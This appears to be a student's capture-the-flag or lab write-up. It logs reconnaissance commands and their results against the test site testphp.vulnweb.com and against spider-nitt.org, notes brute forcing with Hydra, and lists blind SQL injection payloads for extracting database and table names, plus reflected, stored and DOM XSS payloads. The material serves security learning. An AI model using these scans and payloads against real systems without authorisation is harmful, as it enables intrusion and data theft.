//------------------------------------------------------//(AI IS USED FOR FORMATTING PURPOSES)

LEVEL 1:

1) Command:

nslookup -type=nx testphp.vulnweb.com

→ IP: 44.228.249.3

2) DNS Info:

Command: whois 44.228.249.3

→ Info:

- Net Range: 44.192.0.0 - 44.255.255.255

- CIDR: 44.192.0.0/10

- NetName: AMAZO-4

- Organization: Amazon.com

- Parent: NET-44

- NetHandle: NET-44-192-0-0-1

- Registration Date: 2005-09-29

- Last Updated: 2022-09-30

3) Open Ports and Services:

Command: sudo nmap -sS -sV -p 1-1000 testphp.vulnweb.com

→ PORT: 80/tcp

- STATE: open

- SERVICE: http

- VERSION: nginx 1.19.0

4) Tech Stack:

Command: whatweb -v testphp.vulnweb.com

→ Results:

- HTTP Server: nginx/1.19.0

- Script: text/javascript

- PHP Version: 5.6.40-38+ubuntu.04.1+deb.sury.org+1

- IP: 44.228.249.3

- Title: Home of Acutenix Art

- Email: wvs@acutenix.com

- Country: US

- Framework: ActiveX (by Microsoft)

- Content-Encoding: gzip

5) Subdomains:

Command: subfinder -d "testphp.vulnweb.com"

→ Found:

- www.testphp.vulnweb.com

- sieb-web1.testphp.vulnweb.com

6) Directory Structure:

Command: dirsearch -u testphp.vulnweb.com

→ Found paths and files:

- /.idea

- /.name

- /vcs.xml

- /404.php

- /admin/

- /cart.php

- /cgi-bin

- /Connections/

- /CVS

- /images/

- /index.bak

- /login.php

- /pictures/

- /product.php

- /search.php

- /secured/

- /signup.php

- /userinfo.php

- /vendor/

7) Page Titles and Forms (via Burp Suite):

- Title: Home of Acutenix Art

- Forms found in source code

- Parameters:

- name="movie" value="Flash.add/swf"

- name="quality" value="high"

8) Archived URLs:

Command: echo "testphp.vulnweb.com" | waybackurls

→ Output captured in screenshot

// Difference Between Active and Passive Recon:

\*\*Active Recon\*\*:

→ Involves direct interaction with the target (e.g., port scans, page access, vulnerability testing).

\*\*Advantages\*\*:

- Real-time and detailed data

- Can identify active services

\*\*Disadvantages\*\*:

- Higher risk of detection

- Can disrupt target

- More resource-intensive

\*\*Passive Recon\*\*:

→ Involves collecting data from public sources without direct interaction.

\*\*Advantages\*\*:

- Stealthy

- Safer (no service disruption)

- Low resource consumption

\*\*Disadvantages\*\*:

- May provide outdated or less detailed data

- Limited control over what info is obtained

//------------------------------------------------------//

// LEVEL 3 TASKS:

1) IP Address:

→ Only private IPs used — no public IP exposed.

2) DNS Info:

→ Done using: whois spider-nitt.org

3) Subdomains:

→ Tools used:

- subfinder -d "spider-nitt.org"

- crt.sh

→ Found:

- spidertest.spider-nitt.org

5) No tech stack OS available☹for (spider-nitt.org)

4) Broken Access Control Exploit:

→ Used Hydra

→ Screenshot available for proof

5) SQL Injection:

→ Screenshot available

6) Blind SQL Injection:

- Payload: `1` → User ID exists

- Payload: `1' AND 1=2#` → User ID does not exist

- Payload: `1' AND SUBSTR(database(),1,1)='d'#` → User ID exists

- Payload: `1' AND SUBSTR((SELECT table\_name FROM information\_schema.tables WHERE table\_schema=database() LIMIT 0,1),1,1)='u'#`

→ we can use it to extract column names as well character by character

7) Reflected XSS:

→ Payload: `</pre><script>alert(1)</script>`

8) Stored XSS:

→ Payload: `<script>alert(1)</script>`

9) DOM-Based XSS:

→ Detected :document.write(‘<script>alert(1)</script>’)

→ Proof: Screenshot

//------------------------------------------------------//

Screenshot:

1)waybackurls command used on testphp.vulnweb.com.

2)parameters of the website

3)cryptography

4)DOM XSS

5)REFLECTED XSS

6)STOREDXSS

7)INSECURE CAPTCHA

8)BLIND SQL

9)SQL INJECTION

10)BRUTE FORCE

11)SCANS AND COMMANDS USED ON SPIDER-NITT.ORG, spidertest.spider-nitt.org

